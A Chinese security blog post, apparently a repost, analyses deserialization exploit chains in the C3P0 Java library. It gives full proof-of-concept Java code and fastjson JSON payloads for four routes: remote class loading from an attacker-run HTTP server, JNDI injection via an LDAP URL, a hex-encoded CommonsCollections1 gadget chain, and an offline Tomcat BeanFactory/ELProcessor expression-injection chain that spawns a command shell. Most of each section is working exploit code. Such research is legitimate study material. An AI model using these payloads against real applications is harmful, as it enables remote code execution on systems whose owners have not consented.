C3P0利用分析

渗透技巧 1年前 (2023) admin
268 0 0

前言

C3P0存在原生反序列化三种利用方式、拓展利用点

1.Java 原生态反序列化利用链 – 加载远程类

2.Json 反序列化利用链 – JNDI

3.Json 反序列化利用链 – HEX序列化字节加载器

4.拓展:Java 原生态反序列化利用链 – 不出网利用

环境

maven导入,0.9.5.5为最新版本(2019)

<dependencies>    <dependency>        <groupId>com.mchange</groupId>        <artifactId>c3p0</artifactId>        <version>0.9.5.5</version>    </dependency></dependencies>

加载远程类

利用点在 

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.java 类中的 writeObject 与 readObject

一、先看 **PoolBackedDataSourceBase#writeObject()**,首先有一个 try/catch

尝试去序列化 connectionPoolDataSource

C3P0利用分析

而 connectionPoolDataSource 的类型不是可序列化的

C3P0利用分析

所以进入到catch中,实例化一个 ReferenceIndirector 类型对象,然后调用 indirectForm(),传入的参数为 connectionPoolDataSource

C3P0利用分析

跟进 ReferenceIndirector#indirectForm()

通过 getReference() 赋值给 Reference 类型的变量 ref,然后通过 ReferenceSerialized 类的构造方法 然后赋值给 reference 变量。

C3P0利用分析

只要实现一个类实现了 Referenceable 接口

和 ConnectionPoolDataSource 接口,然后重写 getReference() 里去实例化一个 Reference 对象即可满足上面的条件。所以可控 ref 的值

C3P0利用分析

Reference的构造方法:

可控 classFactory 和 classFactoryLocation 下面构造payload有用

C3P0利用分析

二、再看 PoolBackedDataSourceBase#readObject() 调用 ReferenceSerialized#getObject()

C3P0利用分析

contextName不可控,跳过if,然后调用了 ReferenceableUtils#referenceToObject() 而且第一个参数我们可控

C3P0利用分析

跟进调用,利用远程类加载器(URLClassLoader),通过 getter 方法去加载可控类名(fClassName),最后Class.forName()第二个参数为true,即表示初始化类时加载static代码块

C3P0利用分析

poc,远程开一个服务

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;
public class Test { public static void main(String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); poc POC = new poc("calc", "http://127.0.0.1:6666/"); setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC); //serialize(poolBackedDataSourceBase); unserialize(); }
public static class poc implements ConnectionPoolDataSource, Referenceable{ public String classFactory; public String classFactoryLocation;
public poc(String classFactory,String classFactoryLocation){ this.classFactory = classFactory; this.classFactoryLocation = classFactoryLocation; }
public Reference getReference() throws NamingException { return new Reference("Y0ng",this.classFactory,this.classFactoryLocation); }
public PooledConnection getPooledConnection() throws SQLException { return null; }
public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
public PrintWriter getLogWriter() throws SQLException { return null; }
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException { return 0; }
public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void serialize(Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); } public static void unserialize() throws Exception{ FileInputStream file = new FileInputStream("ser.bin"); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); //return o; }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }}

JNDI

这里以尝试挖掘的思路跟一下,ctrl+shift+F全局搜索一下lookup关键字,C3P0中也就10个结果,以 JndiRefForwardingDataSource

C3P0利用分析

可以看到,都是在 dereference() 被调用,参数 jndiName 通过 getter 方法获取

C3P0利用分析

那么先看一下 setter 方法,JndiRefDataSourceBase#setJndiName() ,这里关于 PropertyChangeEvent监听javabean的变化 设置了jndiName的值

C3P0利用分析

那么再看一下 dereference() ,ALT+F7 查找调用处,inner() 进行调用

C3P0利用分析

发现 inner() 都是通过 setter和getter进行调用

C3P0利用分析

综上,切合 fastjson 利用条件

poc:起一个marshalsec的 ldap

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc"}{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc""loginTimeout":0}

另外,发现 C3P0PooledDataSource 也存在相同的利用点,但是 rebind()方法中parse一直出错

C3P0利用分析

HEX序列化字节加载器

更多的是利用 fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor 来打二次反序列化

在 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString() 中设置 userOverridesAsString 的值后,当调用set方法 setUpPropertyListeners 时就能触发,而这个监听器正好在设置完userOverridesAsString就会调用

C3P0利用分析

**WrapperConnectionPoolDataSource#setUpPropertyListeners()**,中调用了 parseUserOverridesAsString

C3P0利用分析

parseUserOverridesAsString,截取字符串,HASM_HEADER 为定值 HexAsciiSerializedMap,所以构造的payload需要符合这样形式

"HexAsciiSerializedMap:"+HexString+":"

然后将hex转为byte调用 SerializableUtils#fromByteArray()

C3P0利用分析

然后就是调用原生反序列化,搭配其他的Gadget,比如CC、CB,在框架中还能注入内存马

C3P0利用分析

poc,以CC1为例

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;

import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;

public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "bbb"); Map<Object, Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = c.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true); Object o = cons.newInstance(Retention.class, transformMap); serialize(o);
byte[] bytes = Files.readAllBytes(Paths.get("ser.bin")); String hex = bytesToHexString(bytes,bytes.length);
String poc = "{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+hex+";"}}"; JSON.parseObject(poc); }
public static void serialize(Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); }
public static void unserialize() throws Exception{ FileInputStream file = new FileInputStream("ser.bin"); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); }
sb.append(sTemp.toUpperCase()); } return sb.toString(); }}

不出网利用

环境:反序列化点

先回顾一下 getObject()中,其实如果通过这三种方法去修改contextName的值,就可以直接 JNDI 的利用,在一道CTF题目中,有提到这点实现 ljctr wp ,但是比较麻烦,所以略过。

  1. 修改C3P0源代码 比较简单

  2. 通过agent技术去修改源代码

  3. 像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)

C3P0利用分析

跟到 referenceToObject() 中,加载远程类是通过getFactoryClassLocation获取到URLClassloader,通过Class.forName进行远程触发,如果获取为null,就会获取当前线程的ClassLoader,然后实例化一个对象,最后在return的时候调用这个对象的 getObjectInstance()**,在高版本JDK中的一种绕过方法,利用Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入**

org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

C3P0利用分析

poc

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;
public class Test { public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); poc POC = new poc("org.apache.naming.factory.BeanFactory", null); setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC); serialize(poolBackedDataSourceBase); unserialize(); }
public static class poc implements ConnectionPoolDataSource, Referenceable{ public String classFactory; public String classFactoryLocation;
public poc(String classFactory,String classFactoryLocation){ this.classFactory = classFactory; this.classFactoryLocation = classFactoryLocation; }
public Reference getReference() throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String cmd = "calc"; ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()")")); return ref; }
public PooledConnection getPooledConnection() throws SQLException { return null; }
public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
public PrintWriter getLogWriter() throws SQLException { return null; }
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException { return 0; }
public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void serialize(Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); }

public static void unserialize() throws Exception{ FileInputStream file = new FileInputStream("ser.bin"); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); //return o; }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }}

参考

Java安全之C3P0利用与分析-Zh1z3ven

C3P0反序列化链学习

JAVA反序列化之C3P0不出网利用 | 雨了个雨’s blog

原文始发于微信公众号(Arr3stY0u):C3P0利用分析

版权声明:admin 发表于 2023年3月24日 上午9:33。
转载请注明:C3P0利用分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...